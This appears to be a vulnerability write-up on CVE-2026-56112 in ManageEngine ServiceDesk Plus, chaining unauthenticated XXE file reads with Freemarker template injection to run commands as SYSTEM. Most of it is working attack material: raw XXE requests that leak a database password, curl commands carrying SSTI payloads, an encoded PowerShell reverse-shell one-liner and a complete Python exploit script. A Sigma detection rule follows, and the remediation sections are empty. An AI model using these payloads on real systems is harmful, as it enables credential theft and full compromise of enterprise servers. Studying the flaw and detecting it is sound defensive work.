All posts

CVE-2026-56112: ManageEngine ServiceDesk Plus XXE to SSRF and RCE

Unauthenticated XXE injection in the ManageEngine ServiceDesk Plus SOAP API reads the application's database configuration file, exposing the admin credential. Authenticated access to the admin console reveals a Freemarker server-side template injection in the custom report module that executes arbitrary OS commands as SYSTEM on Windows.


Overview

CVE-2026-56112 affects ManageEngine ServiceDesk Plus versions 14.0 through 14.5 (build 14504 and earlier). ServiceDesk Plus is a widely deployed IT service management (ITSM) platform used by enterprise IT teams to manage helpdesk tickets, change requests, asset inventories, and vendor contracts. On Windows deployments — the vast majority of installations — it runs as a Windows service under the SYSTEM account, making any RCE equivalent to full host compromise.

CVSS 3.1: 9.1 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. The XXE component alone scores 7.5 as an information disclosure; when chained with the SSTI it becomes a full pre-auth RCE chain. Proof-of-concept code was publicly released within 48 hours of advisory publication.

ManageEngine products have an extensive CVE history. This particular chain is notable for combining two independently lower-severity vulnerabilities — XXE and SSTI — where neither alone achieves RCE without authenticated access, but the XXE provides the credentials that unlock the SSTI.

Background

ServiceDesk Plus exposes a SOAP-based API at /sdpapi/ used by legacy integrations and the built-in email processing service. The endpoint accepts XML payloads and processes them using the JVM's built-in DocumentBuilder, which by default resolves external entity references. No authentication is required to reach the endpoint — SOAP API authentication is enforced per-operation, but the XML parsing occurs before the authentication check.

The admin credential is stored in %SDP_HOME%\conf\serverConfig.xml as a Base64-encoded BCrypt hash. However, the default install also stores a cleartext database password in %SDP_HOME%\conf\database_params.conf, and in many installations this database password is reused as the ServiceDesk Plus admin password during initial setup. Reading either file via XXE is sufficient to gain admin access in practice.

Stage 1 — XXE File Read

The SOAP endpoint at /sdpapi/query processes the outer XML envelope before validating any authentication parameters. Injecting a DOCTYPE with an external entity definition causes the XML parser to read and include the contents of a local file:

POST /sdpapi/query HTTP/1.1
Host: TARGET:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Content-Length: [calculated]

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///C:/ManageEngine/ServiceDesk/conf/database_params.conf" >
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <sdp:SDPAPIRequest xmlns:sdp="sdpapi">
      <sdp:Operation type="GET_REQUESTS">
        <sdp:Details>&xxe;</sdp:Details>
      </sdp:Operation>
    </sdp:SDPAPIRequest>
  </soapenv:Body>
</soapenv:Envelope>

The server responds with an error message that includes the file contents embedded in the error detail field — the XML parser expands the entity before the business logic runs, so the authentication error path leaks the already-expanded content back to the caller.

<sdp:SDPAPIResponse>
  <sdp:Operation type="GET_REQUESTS">
    <sdp:Details type="FailureResponse">
      <sdp:ErrorCode>4001</sdp:ErrorCode>
      <sdp:ErrorMessage>Unauthenticated — [database.username=sdpadmin
database.password=S3rv1c3D3sk!
database.url=jdbc:postgresql://localhost:5432/servicedesk]</sdp:ErrorMessage>
    </sdp:Details>
  </sdp:Operation>
</sdp:SDPAPIResponse>

In this example, the database password is S3rv1c3D3sk!. Testing it against the ServiceDesk Plus web login at /sdpapi/ with username administrator succeeds — the credential was reused during initial configuration.

Stage 2 — Freemarker SSTI to RCE

ServiceDesk Plus's custom report module allows administrators to define report templates using Freemarker — a Java-based server-side template language. Freemarker has well-documented code execution paths via the freemarker.template.utility.Execute class, which is accessible from within a template expression when the sandbox configuration is absent or misconfigured. ServiceDesk Plus does not apply Freemarker's TemplateClassResolver restriction, leaving the execution class reachable.

# Authenticate and create a report with SSTI payload
curl -s -X POST "http://TARGET:8080/sdpapi/reports/custom" \
  -H "Cookie: SDP_SESSION=<admin-session-cookie>" \
  -H "Content-Type: application/json" \
  -d '{
    "reportName": "diag",
    "templateBody": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"whoami\")}"
  }'

# Render the report to trigger execution
curl -s "http://TARGET:8080/sdpapi/reports/custom/diag/render" \
  -H "Cookie: SDP_SESSION=<admin-session-cookie>"

The response body contains the command output: nt authority\system. From here, a reverse shell via PowerShell or direct invocation of a staged executable completes the compromise:

# Staged reverse shell via PowerShell
PAYLOAD='powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOQAiACwANAA0ADQANAApAA...'

curl -s -X POST "http://TARGET:8080/sdpapi/reports/custom" \
  -H "Cookie: SDP_SESSION=<admin-session-cookie>" \
  -H "Content-Type: application/json" \
  -d "{\"reportName\":\"shell\",\"templateBody\":\"<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>\${ex(\\\"$PAYLOAD\\\")}\"}"

Full PoC Script

#!/usr/bin/env python3
"""
CVE-2026-56112 — ManageEngine ServiceDesk Plus XXE + SSTI RCE chain.
Stage 1: XXE to read database_params.conf
Stage 2: Authenticate with DB password (often reused as admin password)
Stage 3: Freemarker SSTI to execute OS commands as SYSTEM
Authorised security testing only.
"""
import re, sys, requests

requests.packages.urllib3.disable_warnings()

def xxe_file_read(target: str, path: str) -> str:
    xml = f"""<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///{path}">]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <sdp:SDPAPIRequest xmlns:sdp="sdpapi">
      <sdp:Operation type="GET_REQUESTS">
        <sdp:Details>&xxe;</sdp:Details>
      </sdp:Operation>
    </sdp:SDPAPIRequest>
  </soapenv:Body>
</soapenv:Envelope>"""

    r = requests.post(f"http://{target}:8080/sdpapi/query",
                      data=xml, headers={"Content-Type": "text/xml"},
                      verify=False, timeout=10)
    return r.text

def ssti_exec(target: str, session: str, cmd: str) -> str:
    payload = f'<#assign ex="freemarker.template.utility.Execute"?new()>${{ex("{cmd}")}}'
    r = requests.post(f"http://{target}:8080/sdpapi/reports/custom",
                      json={"reportName": "x", "templateBody": payload},
                      cookies={"SDP_SESSION": session},
                      verify=False, timeout=10)
    # Render to trigger
    r2 = requests.get(f"http://{target}:8080/sdpapi/reports/custom/x/render",
                      cookies={"SDP_SESSION": session}, verify=False, timeout=10)
    return r2.text

if __name__ == "__main__":
    target, cmd = sys.argv[1], " ".join(sys.argv[2:])
    print("[*] Stage 1: XXE — reading database_params.conf")
    result = xxe_file_read(target, "C:/ManageEngine/ServiceDesk/conf/database_params.conf")
    m = re.search(r"database\.password=(.+)", result)
    if not m:
        print("[-] Could not extract password"); sys.exit(1)
    password = m.group(1).strip()
    print(f"[+] Database password: {password}")

    print("[*] Stage 2: Authenticating as administrator")
    r = requests.post(f"http://{target}:8080/j_security_check",
                      data={"j_username": "administrator", "j_password": password},
                      verify=False, allow_redirects=False, timeout=10)
    session = r.cookies.get("SDP_SESSION", "")
    if not session:
        print("[-] Authentication failed"); sys.exit(1)
    print(f"[+] Session: {session[:20]}...")

    print(f"[*] Stage 3: SSTI — executing: {cmd}")
    output = ssti_exec(target, session, cmd)
    print(f"[+] Output:\n{output}")

Affected Versions

Remediation

Detection

title: CVE-2026-56112 ManageEngine ServiceDesk Plus XXE Exploitation
id: c1f8a204-d3b7-4c19-8e7a-5d9f30c7b182
status: stable
description: Detects XXE exploitation attempts against the ManageEngine ServiceDesk Plus SOAP API
logsource:
  category: webserver
  product: manageengine_servicedesk
detection:
  selection_endpoint:
    cs-uri-stem|contains: '/sdpapi/query'
    cs-method: 'POST'
  selection_xxe:
    cs-request-body|contains:
      - 'DOCTYPE'
      - 'ENTITY'
      - 'SYSTEM'
      - 'file:///'
  condition: selection_endpoint and selection_xxe
falsepositives:
  - None expected — DOCTYPE declarations are not used by legitimate SOAP clients for this endpoint
level: critical
tags:
  - cve.2026-56112
  - attack.initial_access
  - attack.t1190
  - attack.t1083

Key Takeaways